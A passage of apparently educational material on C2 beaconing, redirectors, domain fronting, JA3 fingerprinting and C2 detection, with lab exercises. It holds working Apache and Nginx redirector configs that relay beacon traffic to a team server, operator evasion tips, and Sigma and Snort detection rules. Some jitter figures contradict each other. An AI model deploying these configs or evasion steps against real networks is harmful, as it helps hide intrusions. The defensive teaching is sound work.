Why jitter exists: a process that makes an outbound HTTPS connection to the same host every exactly 60.000 seconds is trivially detected by any periodic-connection algorithm. Jitter adds noise to the interval, making the connection pattern look less mechanical. However — as we will cover in the detection chapter — jitter only adds noise, not chaos. The underlying rhythm is still statistically detectable.
Typical operational values: short-haul interactive beacons use sleep=5, jitter=10; long-haul persistence beacons use sleep=3600, jitter=25 or higher.
HTTP Staging
On first contact, a beacon may need to fetch its full stage — the second-stage DLL or shellcode that contains its actual capability. This is the "stager" pattern: the initial shellcode is minimal (sometimes called a "stager" or "dropper"), and its only job is to fetch the full implant from the team server over HTTP/S and reflectively load it into memory. The staging URI is typically different from the check-in URI (e.g., /ca for staging vs /activity for check-ins in a default Cobalt Strike profile).
After staging, the beacon enters the check-in loop.
Check-In Request Structure
A typical beacon HTTP check-in looks like:
GET /api/v2/telemetry HTTP/1.1
Host: cdn-edge.examplefronted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: */*
Cookie: __utmz=<base64-encoded-metadata>
The Cookie header (or a custom header, or the URI itself) carries the encoded beacon metadata: hostname, username, process ID, session ID, and any pending task results. The encoding is typically base64 with XOR or RC4 applied — it is not designed to be cryptographically secure (the channel itself is TLS-encrypted), just obfuscated enough to prevent casual inspection.
The server responds with either a 200 and an empty body (no pending tasks) or a 200 with a base64-encoded task in the response body. The beacon decodes the task, executes it, and on the next check-in POSTs the result back.
Task-Polling Flow
The full cycle:
- Beacon wakes from sleep.
- Beacon builds check-in request (GET or POST depending on profile).
- Beacon sends request to redirector; redirector forwards to team server.
- Team server checks for pending tasks for this beacon's session ID.
- If no tasks: team server returns 200 + empty body. Beacon sleeps.
- If tasks pending: team server returns 200 + encoded task. Beacon decodes and executes task.
- Beacon POST-backs the task output (if any) on the same or next check-in.
- Beacon sleeps for
effective_sleepseconds.
From a network perspective, steps 2-3 and 7-8 are the only observable events. Every check-in is a short TCP connection (connect, TLS handshake, HTTP exchange, close). The connection duration is typically under two seconds.
Coefficient of Variation
The coefficient of variation (CV) is the primary statistical metric for beacon detection:
CV = statistics.stdev(gaps) / statistics.mean(gaps)
Where gaps is the list of inter-connection time deltas for a specific process-to-destination flow.
Why CV works:
- Legitimate browser traffic is bursty. A user loads a page (burst of connections), sits reading for 5 minutes (silence), loads another page (burst). The gaps have enormous variance relative to their mean. CV >> 1.0 is typical.
- A C2 beacon with 20% jitter and 60s sleep has gaps in [48, 72]. The mean is ~60, the standard deviation is ~7. CV = 7/60 ≈ 0.12. This is far below 1.0.
- An interactive C2 session (operator actively issuing commands) has irregular gaps — sometimes 2 seconds, sometimes 30, sometimes 180 — with moderate variance. CV typically falls in [0.3, 1.0].
Classification thresholds (empirical, from RITA and academic papers):
| CV range | Classification |
|---|---|
| < 0.3 | Beaconing (automated, regular) |
| 0.3 – 1.0 | Interactive (human-driven) |
| > 1.0 | Benign (bursty browser / application traffic) |
Worked example:
Process: svchost.exe (PID 1234), destination: 192.168.1.10:443
Connection timestamps (Unix epoch seconds): [1000, 1060, 1118, 1181, 1242, 1303]
Gaps: [60, 58, 63, 61, 61]
Mean gap: 60.6
Stdev of gaps: 1.82
CV: 1.82 / 60.6 = 0.030
Classification: beaconing (CV far below 0.3 threshold).
With 20% jitter the CV would rise to approximately 0.12, still well below threshold. It takes jitter above approximately 60% before the CV crosses 0.3 — at that point the beacon's rhythm is too noisy to be reliably tracked anyway, and the operator has usually traded stealth for reliability.
Chapter 3: Redirectors and Traffic Blending
Why Redirectors Exist
The naive C2 architecture has the beacon connecting directly to the team server IP. This is operationally dangerous for three reasons:
- The first time any sensor logs the destination IP, IR has the team server. A single PCAP from a compromised endpoint exposes the entire engagement.
- The team server IP has no cover story. It is a VPS in a cloud provider's IP range, newly spun up, with no domain history, no categorization, and a self-signed TLS cert. Every proxy in the world will block it immediately.
- Threat intel feeds maintain databases of known C2 infrastructure. An IP used in a prior engagement will be blocklisted before this engagement begins.
The redirector solves all three problems. It is the first line of operational security on the network layer.
Apache mod_rewrite Redirector
The most common redirector implementation uses Apache's mod_rewrite module to conditionally proxy traffic to the team server. Here is a complete configuration:
RewriteEngine On
# Only forward traffic that matches expected beacon patterns
# Condition 1: User-Agent must match the configured beacon UA
RewriteCond %{HTTP_USER_AGENT} "Mozilla/5.0 \(Windows NT 10\.0; Win64; x64\)" [NC]
# Condition 2: URI must match one of the configured beacon paths
RewriteCond %{REQUEST_URI} "^/(api/v2/telemetry|cdn-cgi/image/|assets/js/)" [NC]
# Forward matching traffic to the team server (P = proxy, L = last rule)
RewriteRule ^(.*)$ http://TEAMSERVER_IP:80$1 [P,L]
# Everything else: redirect to a legitimate site (cover story)
RewriteRule ^(.*)$ https://www.microsoft.com/ [R=302,L]
The [P,L] flag causes Apache to make a server-side HTTP request to the team server and return the response to the client, transparently. From the beacon's perspective it is talking to the redirector; it never sees the team server IP. The [R=302,L] rule handles all non-beacon traffic by sending it to a plausible legitimate site — a Shodan scanner that hits the redirector sees a 302 to microsoft.com and moves on.
The mod_proxy and mod_proxy_http modules must be enabled. The ProxyPreserveHost Off directive is often set to prevent forwarding the Host header to the team server (where it would be the redirector's domain, which would mismatch the team server's listener configuration).
Nginx proxy_pass Redirector
Nginx is an alternative that some operators prefer for its performance characteristics:
server {
listen 443 ssl;
server_name cdn-edge.cover-domain.com;
ssl_certificate /etc/letsencrypt/live/cover-domain.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/cover-domain.com/privkey.pem;
# Beacon check-in paths: proxy to team server
location ~ ^/(api/v2/telemetry|cdn-cgi/image/|assets/js/) {
proxy_pass http://TEAMSERVER_IP:80;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
# Everything else: redirect to cover story
location / {
return 302 https://www.microsoft.com/;
}
}
Nginx terminates TLS at the redirector and forwards HTTP to the team server. This means the team server sees plaintext, which simplifies its listener configuration. It also means the TLS fingerprint the beacon presents is negotiated with the redirector's TLS stack (the Nginx server's configuration), not the team server's — allowing the operator to carefully configure Nginx's cipher suite list to avoid known-bad JA3s.
Domain Fronting
Domain fronting is a technique that abuses CDN routing to make C2 traffic appear to originate from a legitimate CDN customer's domain. It exploits the separation between the TLS Server Name Indication (SNI) extension and the HTTP Host header:
- TLS SNI (visible to the network): The domain name the client includes in the TLS ClientHello. This is what firewalls, proxies, and IDS see as the destination domain. It is sent before TLS encryption is established.
- HTTP Host header (visible only after TLS decryption, historically only to the CDN): The domain name in the HTTP request after the TLS session is established.
The domain fronting technique:
- The operator registers a C2 domain (e.g.,
c2.attacker.com) behind a major CDN (e.g., Cloudflare, Fastly, Azure CDN). - The operator also controls knowledge of a legitimate high-reputation domain that uses the same CDN (e.g.,
legit-saas.com, also on Cloudflare). - The beacon connects to the CDN's IP address with TLS SNI set to
legit-saas.com. - Inside the TLS tunnel, the beacon sends
Host: c2.attacker.com. - The CDN routes the request based on the
Hostheader to the C2 origin. - From the target network's perspective: traffic goes to
legit-saas.comon a Cloudflare IP. Blocking it means blocking Cloudflare entirely.
Detection of domain fronting:
- JA3 anomaly: the process making the connection (e.g.,
svchost.exe) should not be making TLS connections at all, regardless of destination. - Non-browser process to CDN IP:
svchost.exeperiodically connecting to104.21.x.x(Cloudflare) is anomalous even if the SNI looks legitimate. - Host-header logging: CDNs have increasingly added Host-header inspection. Microsoft (Azure CDN) and Google (GCP CDN) both added SNI-Host mismatch detection around 2018-2019. Cloudflare restricts fronting on its platform. The technique's effectiveness against major CDNs has significantly degraded.
- TLS certificate subject: if the redirector presents a certificate whose subject does not match the SNI, that mismatch is an immediate detection signal.
MITRE ATT&CK: T1090.004 (Proxy: Domain Fronting), T1090.001 (Proxy: Internal Proxy).
CDN Abuse Without Fronting
Even without fronting, operators use CDNs to blend. The C2 domain is a legitimate CDN customer with valid DNS records, a valid TLS certificate from Let's Encrypt or a CA, and plausible content. The CDN's IP reputation is excellent (major CDN IPs are rarely blocklisted because doing so breaks legitimate traffic). The URI paths are crafted to look like CDN asset requests (/cdn-cgi/image/quality=85/https://..., /assets/js/analytics.min.js).
This does not hide the TLS fingerprint or the beacon timing, but it defeats category-based blocking and IP reputation scoring.
Chapter 4: JA3/JA4 Fingerprinting Under the Hood
The TLS ClientHello
When a TLS client initiates a connection, its first message is the ClientHello. This message is sent before any encryption — it is plaintext on the wire. It contains:
- The TLS version the client proposes (encoded as a two-byte integer; TLS 1.2 = 0x0303, TLS 1.3 = 0x0304).
- A list of cipher suites the client supports, in the client's preferred order.
- A list of TLS extensions the client wants to negotiate.
- Within the supported_groups (elliptic_curves) extension: a list of elliptic curve IDs.
- Within the ec_point_formats extension: a list of point format IDs.
Because the ClientHello is entirely determined by the TLS library the client uses (not the server, not the application), different TLS implementations produce detectably different ClientHellos. Go's crypto/tls, Python's ssl (wrapping OpenSSL), Chrome's BoringSSL, Java's JSSE, and Cobalt Strike's Java-based TLS stack all produce distinct ClientHellos.
JA3 Hash Construction
JA3 was published by Salesforce in 2017. The algorithm:
-
Extract five fields from the ClientHello:
- TLS version: decimal integer (e.g., TLS 1.2 →
769) - Cipher suites: ordered list of decimal IDs, GREASE values (RFC 8701) excluded (e.g.,
49195,49199,52393,52392,49196,49200,49162,49161,49171,49172,51,57,47,53,10) - Extensions: ordered list of decimal type codes, GREASE excluded (e.g.,
0,23,65281,10,11,35,16,5,13,28) - Elliptic curves: ordered list of decimal group IDs from the
supported_groupsextension (e.g.,29,23,24) - Point formats: ordered list of decimal format IDs from the
ec_point_formatsextension (e.g.,0)
- TLS version: decimal integer (e.g., TLS 1.2 →
-
Format each field as a comma-separated list.
-
Join all five fields with dashes:
769,49195-49199-52393,0-23-65281,29-23-24,0 -
Compute the MD5 hash of that string. That is the JA3 hash.
Realistic example (Cobalt Strike default Java TLS stack):
TLS version: 769
Cipher suites: 49162,49161,52393,49200,49199,49172,49171,157,156,61,60,53,47,10,255
Extensions: 0,65281,10,11,35
Elliptic curves: 23,24,25
Point formats: 0
JA3 string: 769,49162-49161-52393-49200-49199-49172-49171-157-156-61-60-53-47-10-255,0-65281-10-11-35,23-24-25,0
JA3 hash: a0e9f5d64349fb13191bc781f81f42e1
That hash, a0e9f5d64349fb13191bc781f81f42e1, is the most-blocked JA3 hash in the world. Every Cobalt Strike beacon using the default Java SSL configuration produces it. Every Zeek installation with a JA3 blocklist fires on it immediately.
Why reordering ciphers changes the hash: the cipher suite list is taken in the order the client presents it in the ClientHello. If a beacon's profile reorders the ciphers (e.g., putting 47 before 53), the JA3 string changes and produces a completely different MD5. This is how operators evade JA3 blocklists — but it does not evade JA3 anomaly detection, which asks "does the JA3 hash for this Image match what we expect from its TLS library?"
JA4 Improvements
JA4 (published by FoxIO in 2023) improves on JA3 in several ways:
- Stability: JA4 sorts cipher suites and extensions before hashing, making it stable across minor library version bumps that reorder preferences without changing capability.
- Readability: JA4 uses a human-readable prefix:
t(TCP) orq(QUIC), TLS version (13for TLS 1.3,12for TLS 1.2), SNI presence (dfor domain,ifor IP), number of cipher suites (two digits), number of extensions (two digits), and first ALPN value. - Sortability: because the prefix encodes structured fields, JA4 hashes are sortable and groupable without decoding.
Example JA4 prefix for a TLS 1.3 connection with SNI, 17 cipher suites, 12 extensions, and h2 ALPN: t13d1712h2.
JA4 also defines sub-hashes (JA4_r for the raw sorted cipher list, JA4_s for the server-side equivalent) to enable more nuanced fingerprinting.
Detection Use in Practice
Zeek ssl.log fields: ts, uid, id.orig_h, id.orig_p, id.resp_h, id.resp_p, version, cipher, ja3, ja3s, subject, issuer.
Known-bad JA3 blocklist approach: maintain a list of JA3 hashes for default C2 framework configurations (Cobalt Strike default, Metasploit default, Sliver default, Empire default). Alert on any SSL connection whose ja3 field matches. This is a high-precision, low-recall detection — it catches operators who haven't customized their profiles.
JA3 anomaly scoring approach: for each process that makes TLS connections, baseline the expected JA3 hash based on the process name and TLS library it links against (chrome.exe → BoringSSL JA3, python.exe → OpenSSL JA3). Alert when a process's observed JA3 doesn't match its expected set. This catches novel C2 frameworks and operators who change their JA3 to avoid the known-bad list but produce a JA3 that doesn't match any known legitimate TLS library.
Chapter 5: Malleable Profiles
What a Malleable Profile Is
A malleable profile (Cobalt Strike's term, but the concept applies to any configurable C2 framework: Sliver, Havoc, Mythic, BRC4) is a configuration file that controls every externally-observable characteristic of the beacon's network communication. It is the operator's complete description of what "normal traffic" the beacon should impersonate.
The profile does not change what the beacon does — it only changes what the beacon looks like on the wire. Commands, task execution, and output collection are unchanged. What changes is the HTTP method, URI paths, headers, body encoding, sleep/jitter values, named pipe suffix, and TLS certificate subject.
In Cobalt Strike, profiles are .profile files loaded at team server startup. Changes take effect for new listeners; existing beacons continue using their original profile configuration.
The Five Observable Categories
1. Named pipe (SMB beacon)
SMB beacons use Windows named pipes for intra-host communication (e.g., lateral movement from host A to host B via SMB). The named pipe name is created by the implant and must be opened by a connecting payload. The default Cobalt Strike named pipe pattern is \\.\pipe\msagent_ followed by a random hex suffix. Sysmon EID 17 (PipeCreated) and EID 18 (PipeConnected) log named pipe creation and connection events including the pipe name. The default pattern is in every EDR signature database.
A custom profile uses an innocuous-looking pipe name that matches legitimate Windows services (e.g., \\.\pipe\chrome.6729.8.1579677454, mimicking Chrome's pipe naming convention).
2. User-Agent The User-Agent string appears in every HTTP check-in. Proxies log it. The default Cobalt Strike user-agent is:
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
This is Internet Explorer 8 on Windows XP. In 2024, this user-agent string has two immediate problems: (1) IE8 was end-of-life in 2016, (2) Windows XP was end-of-life in 2014. No legitimate traffic uses this string on a modern enterprise network. Every proxy in the world flags it.
A custom profile uses a plausible current browser UA matching the target environment:
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
3. URI paths
The URIs used for staging and check-in appear in proxy logs and are matched by Snort/Suricata rules. Default Cobalt Strike URIs include /ca (staging), /activity, /push, /admin/get.php. These appear in published Snort rule sets and are matched by commercial NGFWs.
A custom profile uses URIs that blend with the cover domain: /api/v2/telemetry, /cdn-cgi/image/quality=85/, /assets/js/analytics.min.js. These look like legitimate CDN or SaaS API traffic.
4. Sleep and jitter Default Cobalt Strike sleep is 60 seconds with 0% jitter. Zero jitter produces a CV of exactly 0.0 — the most trivially-detected beacon timing pattern possible. A well-configured profile sets jitter to 20-30% to raise the CV above 0.05.
5. TLS certificate subject
If the beacon uses HTTPS and the listener presents a TLS certificate, that certificate's subject is logged in Zeek ssl.log. The default Cobalt Strike certificate subject is:
O=Major Institutions Inc., L=Springfield, ST=Ohio, C=US
This subject is in every threat intel feed. A custom profile uses a certificate whose subject matches the cover domain, issued by a public CA (Let's Encrypt or a DV CA), so it looks like a legitimate HTTPS service.
Why Defaults Are Catastrophic
Each default indicator is independently detectable. If an operator uses a default profile, they face five simultaneous detection opportunities:
- Named pipe string match (Sysmon EID 17)
- User-agent string match (proxy log)
- URI path match (Snort/Suricata rule)
- JA3 hash match (Zeek ssl.log blocklist)
- TLS certificate subject match (Zeek ssl.log)
A single custom profile that addresses all five eliminates all five string-match detections simultaneously. It does not eliminate timing-based or process-anomaly detections — those require different mitigations (jitter tuning and process injection into expected network-connected processes).
Detection of Custom Profiles
Even with all default indicators removed, a custom profile leaves residual detection surface:
- JA3 anomaly (process whose JA3 doesn't match its expected TLS library)
- Beacon timing (CV below threshold, even with jitter)
- Process-to-network anomaly (non-browser process making periodic HTTPS connections)
- Bytes-out spike during exfil (anomalous outbound data volume on an otherwise-small-payload flow)
- Domain age (newly registered domains are suspicious regardless of category)
A mature operator addresses all of these; a novice operator addresses only the string-match detections and remains caught by statistical detection.
Chapter 6: Detection Engineering for C2
Detection Class 1: NetFlow Beacon Timing
The workflow for production beacon-timing detection:
- Collect NetFlow or IPFIX records from all internal-to-external flows.
- Enrich with process name from endpoint telemetry (Sysmon EID 3 correlation by source IP and source port).
- Group flows by
(src_ip, dst_ip, dst_port, process_name). - For each group with at least 3 connections, sort by timestamp, compute inter-connection gaps.
- Compute
CV = stdev(gaps) / mean(gaps). - Alert if:
CV < 0.3ANDconnection_count >= 3ANDmedian_gap < 3600seconds. - Enrich the alert with process name, destination domain (PTR lookup), domain age, and JA3 hash.
Threshold rationale: CV < 0.3 catches beacons up to approximately 45% jitter. The median_gap < 3600 filter excludes very-long-sleep persistence beacons (which should be caught by the DNS-based RITA detection instead). The connection_count >= 3 minimum prevents false positives from short-lived bursty connections.
Detection Class 2: JA3 Anomaly — Sigma Rule
title: Suspicious JA3 Fingerprint — Known C2 Default
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects TLS connections using JA3 fingerprints associated with default C2 framework configurations
references:
- https://github.com/salesforce/ja3
logsource:
category: network
product: zeek
detection:
selection:
ja3|contains:
- 'a0e9f5d64349fb13191bc781f81f42e1'
- '6bca5b8d3c9f3f8a3c9c7e5f2d1b4a8e'
condition: selection
falsepositives:
- Legacy applications using old TLS libraries
level: high
tags:
- attack.command_and_control
- attack.t1071.001
For JA3 anomaly detection (not just blocklist), the Sigma rule would add a filter section excluding known-good JA3 hashes for the process's expected TLS library, combined with a process_name field from endpoint enrichment. The alert fires when process_name = svchost.exe AND ja3 is not in the known-good set for system processes.
Detection Class 3: Process-to-Network Anomaly
Non-browser processes making periodic HTTPS connections to CDN IPs are a high-fidelity signal. The detection logic using Sysmon EID 3:
EID 3 (NetworkConnect) WHERE:
Image NOT IN (expected_network_processes) # e.g., chrome.exe, firefox.exe, update services
AND DestinationPort == 443
AND DestinationIp IN (cdn_ip_ranges) # Cloudflare, Akamai, Fastly, Azure CDN
AND connection is periodic (CV < 0.3 over 3+ events)
Sysmon EID 3 fields used in this detection:
| Field | Use |
|---|---|
UtcTime | Timestamp for gap computation |
ProcessGuid | Stable process identifier across PID reuse |
ProcessId | For correlation with EID 1 (process creation) |
Image | Full process path — used to classify expected vs anomalous network users |
Protocol | tcp for C2; udp for DNS beaconing |
Initiated | true = outbound connection; only outbound matters for C2 |
SourceIp | Internal host IP |
SourcePort | Ephemeral port |
DestinationIp | Redirector or CDN IP |
DestinationPort | 443 for HTTPS C2 |
DestinationHostname | Redirector domain (if DNS resolution is available) |
Detection Class 4: Zeek conn.log Analysis
Zeek's conn.log provides per-flow metadata without payload inspection. Fields for beacon detection:
| Field | Type | Use |
|---|---|---|
ts | timestamp | Flow start time — for gap computation |
id.orig_h | addr | Source IP |
id.resp_h | addr | Destination IP |
id.resp_p | port | Destination port |
proto | enum | tcp / udp |
service | string | Protocol detected (ssl, http, dns) |
duration | interval | Flow duration — C2 check-ins are very short |
orig_bytes | count | Bytes from client — task results POSTed back |
resp_bytes | count | Bytes to client — response payload |
conn_state | string | Connection state (SF = successful, S0 = no reply) |
Beacon detection from conn.log:
# Pseudocode
flows = read_zeek_conn_log("conn.log")
by_dest = group_by(flows, key=lambda f: (f.resp_h, f.resp_p))
for dest, flow_list in by_dest.items():
sorted_flows = sort_by(flow_list, key="ts")
gaps = compute_gaps(sorted_flows, key="ts")
if len(gaps) >= 2:
cv = stdev(gaps) / mean(gaps)
if cv < 0.3 and median(gaps) < 3600:
alert(dest, cv, median(gaps), len(gaps))
The combination of short duration (under 2 seconds), small resp_bytes (empty task response), and periodic timing is highly specific to C2 beaconing. No legitimate application traffic has all three properties simultaneously.
Chapter 7: OPSEC Hygiene
OPSEC failures in C2 operations fall into four categories. Each failure has a specific telemetry fingerprint that an IR analyst can pivot on.
Infrastructure OPSEC
Domain age. Registering a C2 domain on the day of the engagement produces a domain with age = 0 days. Palo Alto DNS Security, Cisco Umbrella, and Infoblox BloxOne all score newly registered domains (NRDs) as high-risk and apply additional scrutiny or automatic blocking for the first 30 days. Mitigation: register domains weeks before the engagement and pre-age them with passive DNS traffic.
IP reuse across engagements. If the same team server IP (or redirector IP) appears in two engagements, PDNS (passive DNS) ties them together. An IR team investigating engagement B can pivot to engagement A's victims by looking up all domains that ever resolved to the known IP. Mitigation: spin up fresh infrastructure (new IPs, new accounts) for every engagement.
Direct team server exposure. If the beacon config contains the team server IP (i.e., no redirector is used), one memory dump from the victim host exposes the team server. Every beacon config is readable from the implant's memory by a skilled analyst. Mitigation: always use a redirector; never put the team server IP in a beacon config.
Expired or self-signed TLS certificate. A self-signed cert on a redirector is immediately flagged by Zeek ssl.log (issuer = subject, no CA chain) and by Bro-based cert-transparency checks. An expired cert triggers browser warnings that may appear in proxy logs. Mitigation: use Let's Encrypt certificates, renewed automatically.
Profile OPSEC
Default named pipe. Sysmon EID 17 fires on every named pipe creation. The default Cobalt Strike pipe pattern msagent_ followed by hex is in every commercial EDR's signature set. Detection is a simple string match — no heuristics needed. Mitigation: configure a custom pipe name in the SMB listener settings, matching a legitimate Windows service pipe name pattern.
Default user-agent. The IE8-on-XP user-agent is the most-detected C2 indicator in proxy logs. It appears in Snort rules (alert tcp any any -> any 80 (content:"MSIE 8.0"; content:"Windows NT 5.1";). Every proxy with a UA-anomaly rule flags it. Mitigation: use a current browser UA matching the target fleet.
Default JA3. a0e9f5d64349fb13191bc781f81f42e1 is in every JA3 blocklist. Mitigation: configure the TLS library to use a different cipher order, or wrap the beacon in a custom TLS transport.
Zero jitter. Jitter of 0% produces effective_sleep = sleep on every cycle, giving a CV of 0.0. This is the single most-detectable beacon timing pattern — even a simple "count periodic connections" rule catches it. Mitigation: set jitter to at least 20%.
Default URIs. /ca, /push, /activity, /admin/get.php are in Snort, Suricata, and Zeek Intel Framework signatures. Mitigation: configure URI paths that match a CDN or SaaS API pattern relevant to the cover domain.
Operational OPSEC
Business-hours-only beaconing. If the beacon sleeps during off-hours (or the operator configures a schedule mask that inhibits check-ins outside 9-5), the resulting NetFlow pattern shows periodic connections from 9:00 to 17:00 and nothing outside those hours. This on/off pattern is more suspicious than always-on beaconing, because no legitimate background service has that schedule. Mitigation: if using schedule masks, blend the edges; or use long-sleep persistence beacons that check in once every few hours at any time.
Exfil volume spike. A beacon that normally transfers 200 bytes per check-in and then transfers 50 MB in a single POST is an anomalous bytes_out spike. Any NetFlow anomaly detector with a per-flow bytes baseline will fire. Mitigation: chunk large exfil into small transfers spread across multiple check-in cycles, or use a dedicated exfil channel (DNS, ICMP) that doesn't appear in the same flow.
Staging from C2 IP. If the stager fetches the second-stage payload from the same IP as the check-in listener, proxy logs show the same IP appearing in both the staging HTTP GET and subsequent check-ins. IR analysts look for "first-seen" IPs and cross-reference them — a staging server that reappears as a C2 server is an immediate correlation. Mitigation: use separate infrastructure for staging vs. check-in.
Inverted jitter pattern. Some operators configure short sleep during off-hours ("checking if operator is available") and long sleep during business hours. This inverted jitter pattern is detectable: NetFlow shows high-frequency connections at night and low-frequency during the day — the opposite of every legitimate application's traffic pattern.
Chapter 8: Misconceptions
Misconception 1: Domain fronting is undetectable because the network only sees traffic to a legitimate CDN.
Reality: CDNs can inspect both the TLS SNI and the HTTP Host header after TLS termination. Microsoft (Azure CDN) and Google (GCP CDN) both implemented SNI-Host mismatch blocking around 2018-2019. Cloudflare explicitly prohibits domain fronting in its Terms of Service and has technical controls to detect it. Additionally, even if the CDN does not block it, a non-browser process (e.g., svchost.exe) making periodic HTTPS connections to a CDN IP is anomalous regardless of what domain the SNI names. Host-header logging at the CDN layer, if obtained via legal process, exposes the real C2 destination.
Misconception 2: High jitter makes a beacon undetectable by timing analysis.
Reality: Jitter adds noise to the inter-connection interval but does not change the underlying rhythm. An analyst needs only enough samples to compute a stable coefficient of variation. With 10 check-ins and 30% jitter (sleep=60, gaps in [42, 78]), the mean gap is ~60, the stdev is ~10, and the CV is ~0.17 — still well below the 0.3 detection threshold. To push CV above 0.3, jitter must exceed approximately 45-50%, at which point the beacon's intervals become so unpredictable that the operator loses reliable check-in timing. The tradeoff between stealth and reliability makes very high jitter impractical for active operations.
Misconception 3: JA3 blocklists are easy to evade and therefore useless as a detection.
Reality: A static JA3 blocklist (matching only known-bad hashes) is indeed easy to evade by reordering cipher suites. However, the more powerful defense is JA3 anomaly detection: baseline the expected JA3 hash for each process based on its known TLS library, and alert when a process produces an unexpected hash. Reordering ciphers to evade the known-bad list produces a new hash — but that new hash also doesn't match any known legitimate TLS library, so it fires the anomaly detector instead. The attacker's evasion of the blocklist directly triggers the anomaly alert.
Misconception 4: Using HTTPS means the SOC cannot see C2 traffic without decrypting it.
Reality: HTTPS hides the payload but not the metadata. Without decryption, a network sensor can observe: the destination IP and port, the TLS SNI (destination domain name, in plaintext in the ClientHello), the JA3 fingerprint (TLS library fingerprint, in plaintext in the ClientHello), the connection timing (intervals between flows), the bytes transferred per flow (in NetFlow records), the TLS certificate subject and issuer (sent by the server in plaintext during the handshake), and whether the certificate matches the SNI. The payload — the task and its result — is encrypted. But everything needed to detect beaconing (timing, fingerprint, process, destination) is available without decryption.
Misconception 5: A redirector completely protects the team server from discovery.
Reality: A redirector hides the team server IP from the beacon's config and from casual network observation. It does not make the team server invisible to a determined IR team. Several pivot paths exist: (1) if the redirector is seized, its configuration (proxy_pass rule) reveals the team server IP; (2) if the team server and redirector share an ASN, SSH host key, or TLS certificate serial number, IR can correlate them via Shodan or passive DNS; (3) the team server's operator-facing port (50050) must be accessible from the operator's infrastructure — exposure of that port to any scanner reveals the team server regardless of redirector configuration. The redirector buys time and forces the IR team to pivot, but it is not an absolute protection.
Misconception 6: Sleeping for 24 hours between check-ins defeats all beacon detection.
Reality: Very long sleep intervals shift the primary detection surface from NetFlow to DNS. A beacon that sleeps for 24 hours must still resolve its C2 domain's DNS periodically (DNS records TTL and client cache expiration force re-resolution roughly daily). Tools like RITA (Real Intelligence Threat Analytics from Active Countermeasures) specifically target long-sleep DNS beaconing by analyzing periodic DNS query patterns. A domain that a single host resolves every 24 hours ± small jitter, consistently over days or weeks, is statistically distinct from legitimate DNS traffic. Long-sleep beacons also remain dormant on the host for extended periods, during which endpoint forensics (memory analysis, process listing) may detect the implant independently of network signals.
Lab Walkthrough
Lab 01 — Beacon Rhythm Analyzer
The lab implements five functions over a data structure representing synthetic NetFlow connection records. Each record has a timestamp (Unix epoch seconds), src_ip, dst_ip, dst_port, and process_name.
Function 1: beacon_interval(connections)
- Sort connections by
timestamp(do not assume input is sorted). - Compute the list of inter-connection gaps:
gaps[i] = connections[i+1].timestamp - connections[i].timestamp. - Return
statistics.median(gaps). - Why median rather than mean: outliers (a delayed check-in due to sleep jitter or host resource contention) pull the mean away from the true beacon interval. The median is robust to a small number of anomalous gaps.
- Edge case: if fewer than 2 connections are provided, return
0.0.
Function 2: jitter_coefficient(connections)
- Sort by timestamp, compute gaps.
- Return
statistics.stdev(gaps) / statistics.mean(gaps)(this is the CV). - Edge case: if fewer than 2 gaps exist (i.e., fewer than 3 connections), stdev is undefined; return
0.0. - Note:
statistics.stdevin Python requires at least 2 data points; guard for this.
Function 3: classify_rhythm(connections)
- Compute CV using the same gap list.
- Return
"beaconing"if CV < 0.3. - Return
"interactive"if 0.3 <= CV < 1.0. - Return
"benign"if CV >= 1.0. - Edge case: if fewer than 3 connections, return
"benign"(insufficient data to classify).
Function 4: anomalous_processes(all_connections, expected_processes)
- Input: a list of all connection records (mixed processes), and a set of expected process names (e.g.,
{"chrome.exe", "svchost.exe"}— the NON-anomalous ones to exclude). - Group connection records by
process_name. - For each process group: compute CV; if CV < 0.3 AND the process is NOT in
expected_processesAND connection count >= 3, add it to the anomalous list. - Return the list of anomalous process names.
- Key insight: the grouping step is per-process, not per-flow. All connections for
notepad.exeacross all destinations are grouped together for classification.
Function 5: detection_for_connection(connection, cv, expected_processes)
- Given a single connection record, its pre-computed CV, and the expected process set:
- Return a list of detection strings. Include
"BEACON_TIMING"if CV < 0.3,"PROCESS_ANOMALY"if process not in expected_processes,"PORT_ANOMALY"ifdst_portnot in{80, 443}. - Multiple detections can fire simultaneously.
Expected test results:
REGULAR_BEACONfixture (60s sleep, 5% jitter, 6 connections): classified as"beaconing", CV ≈ 0.03.INTERACTIVE_PATTERNfixture (variable gaps 2-180s, 8 connections): classified as"interactive", CV ≈ 0.6.BENIGN_LONGfixture (bursty browser-like connections with long silences, 10 connections): classified as"benign", CV > 1.0.
Lab 02 — C2 Profile Analyzer
The lab implements four functions over a profile dictionary with keys: user_agent, uri_paths (list), sleep_seconds, jitter_pct, named_pipe, cert_subject, jitter_pct, and optional cdn_fronting (bool).
Default constants are provided: DEFAULT_USER_AGENT, DEFAULT_URIS (list), DEFAULT_NAMED_PIPE, DEFAULT_CERT_SUBJECT, DEFAULT_JA3.
Function 1: profile_noise_score(profile)
- Iterate over the five default indicator categories.
- Add 1 point for each default indicator present: user-agent matches default, any URI in
uri_pathsmatches a default URI, named pipe matches default, cert subject matches default, jitter is 0%. - Add 1 more point if
jitter_pct == 0. - Maximum score is 6 (all five defaults present plus zero jitter).
- Return the integer score.
Function 2: redirector_gaps(profile)
- Analyze the profile for missing redirector hardening.
- Return a list of gap strings. Include
"no_cdn_fronting"ifprofile.get("cdn_fronting") != True,"default_uris"if any profile URI matches a default,"no_tls_cert"if cert subject is default or missing. - The list represents gaps that an IR analyst could exploit to pivot to the team server.
Function 3: detection_opportunities(profile)
- Map each noisy indicator to its detection method.
- Return a list of detection-opportunity dicts:
{"indicator": "user_agent", "detection": "proxy_log_ua_string_match", "rule": "snort_ua_rule"}. - Cover all five observable categories plus JA3 (always present as an opportunity).
Function 4: best_mitigation(profile)
- Return the single highest-impact mitigation recommendation as a string.
- Priority order: if JA3 is default →
